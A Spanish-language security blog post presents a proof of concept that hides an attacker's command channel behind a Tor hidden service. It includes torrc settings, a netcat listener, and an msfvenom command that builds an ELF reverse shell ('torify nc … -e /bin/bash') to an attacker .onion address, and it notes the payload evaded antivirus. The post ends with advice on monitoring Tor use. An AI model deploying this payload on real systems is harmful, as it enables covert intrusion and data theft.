Uno de los puntos débiles de los atacantes a la hora de exfiltrar información comprometida es la exposición de parte de su infraestructura tecnológica durante el proceso. En este sentido, la red Tor ofrece la posibilidad de hacer accesibles servicios en una máquina como servicios ocultos o
hidden services aprovechando la capa de anonimato que ofrece y así evitar que quede expuesta la localización real de la máquina.
Cómo configuramos un hidden service
La configuración de un
hidden service es sencilla y además está bien documentada por parte de los desarrolladores del proyecto Tor dentro del propio código como en la propia web del proyecto. Virtualmente, cualquier servicio que utilice tráfico TCP puede ser creado a través de la red Tor modificando la configuración del archivo
torrc.
La creación del
hidden service con Tor instalado en una máquina requiere la edición del fichero de configuración de
Tor torrc que se encuentra en la ruta
/etc/tor/ en sistemas operativos Linux. En las líneas del fichero 63 y siguientes se detallan ejemplos de cómo configurar un hidden service. La primera de ellas establecerá la ruta en la que se almacenará la información relativa al
hidden service y que será creada si no existe por el servicio que arranca Tor. En esa ruta se almacenan dos archivos importantes:
hostname, que contiene el dominio que otros podrán utilizar para acceder al servicio y
private_key, el fichero que almacena la clave privada del
hidden service y cuya custodia queda a cargo del administrador del sitio siendo necesario que permanezca secreta.
############### This section is just for location-hidden services ###
## Once you have condivd a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.
#HiddenServiceDir /var/lib/tor/hidden_service/
#HiddenServicePort 80 127.0.0.1:80
Por ejemplo, en el caso de que hubiéramos desplegado un servidor Apache en el puerto 80, podríamos hacerlo accesible a través de un
hidden service editando la configuración y descomentando la información de las líneas 72 y 73 de dicho fichero para crear los archivos
hostname en la ruta
/var/lib/tor/hidden_service/ y redirigir el tráfico que reciba Tor en el puerto 80 a ese hidden service al puerto 80 de la máquina local en donde está esperando el servidor Apache.
Esta aproximación podría llevarse a cabo también para exponer un servicio SSH accesible a través de Tor, modificando las líneas relativas al
HiddenServicePort para que apunten al puerto 22. Para acceder a dicho servicio existen diferentes aproximaciones, pero la más sencilla es la de lanzar el comando de conexión precediéndolo del comando
torify, que se encargará de redirigir el tráfico de red para enviarlo a través de la instancia de Tor que esté en ejecución en dicha máquina.
La prueba de concepto
Desde el punto de vista de la arquitectura necesaria para esta prueba de concepto se asumirá qué víctima y atacante están utilizando sistemas Linux y tienen Tor instalado y corriendo como servicio. El procedimiento seguido para llevar a cabo esta prueba de concepto es el siguiente:
1. Despliegue del servicio malicioso a la escucha en la máquina atacante. En este caso se desplegará un netcat a la espera de conexiones en el puerto 1234 de la máquina local. No es necesario exponer públicamente el servicio ya que el tráfico en ese puerto será encaminado hacia y desde Tor.
Attacker > nc -v -l -p 1234 127.0.0.1
2. Configuración de Tor en la máquina atacante para hacerlo accesible a través de un dominio .onion. Utilizando como plantilla el fichero
torrc, se añaden dos líneas nuevas que especifican la ruta en la que se generarán los ficheros auxiliares del servicio y las reglas de direccionamiento.
HiddenServiceDir /var/lib/tor/nc_hidden_service/
HiddenServicePort 1234 127.0.0.1:1234
El dominio .onion definido en el archivo
hostname estará disponible apenas unos segundos después de arrancarlo. En el caso de esta prueba de concepto el dominio generado es: vks3v4ilo4tgud7h.onion.
Attacker > service tor restart

Figura 1. Esquema del sistema malicioso que utiliza Tor para la exfiltración de información.
3. Preparación del
payload torificado por parte del atacante. El
payload se generará con la utilidad msfvenom de Metasploit Framework utilizando el módulo linux/x86/exec que torificará la conexión de netcat hacia el dominio .onion del atacante y que permitirá al atacante la ejecución de comandos.
Attacker > msfvenom -p linux/x86/exec CMD="torify nc vks3v4ilo4tgud7h.onion 1234 -e /bin/bash" -f elf R > poc
4. Ejecución del
payload torificado en la máquina de la víctima. Aunque se podría realizar explotando algún tipo de vulnerabilidad, para simplificar el proceso en este caso se ha ejecutado directamente el
payload generado.
Victim > chmod +x poc
Victim > ./poc
5. Explotación por parte del atacante de la shell redirigida hacia netcat.
En este caso, se asume que la víctima cuenta con Tor instalado y la aplicación torify disponible. En el supuesto de no ser así, se podría instalar automáticamente desde los repositorios oficiales de la distribución si el usuario dispone de los permisos adecuados y así proceder a su instalación. En cualquier caso, si el usuario no tiene permisos de administración se podría incluir también el proceso de descarga de la última instancia de Tor y compilarla desde las fuentes satisfaciendo las dependencias o accediendo a versiones precompiladas de la aplicación. El primer análisis del
payload generado en esta prueba de concepto en Virustotal no ha sido clasificado como malicioso por ninguna de las 53 soluciones de antivirus.

Figura 2. Ejemplo de la ejecución de la prueba de concepto en una máquina local.
Hemos creado entonces un
payload utilizando el módulo
exec con msfvenom. El inconveniente que tiene es que tenemos que recordar el comando completo que tenemos que ejecutar. Una aproximación más cómoda sería crear a partir de ese módulo uno nuevo que directamente nos solicitara el dominio .onion y el puerto al que nos vamos a conectar. En el siguiente repositorio de
Github podréis acceder al nuevo módulo que hemos creado.
Esta prueba de concepto pone sobre la mesa la necesidad de monitorizar si máquinas consideradas como críticas están usando Tor para comunicarse con la red y determinar si este comportamiento es esperado o si podría ser consecuencia de un potencial encubrimiento de comunicaciones maliciosas.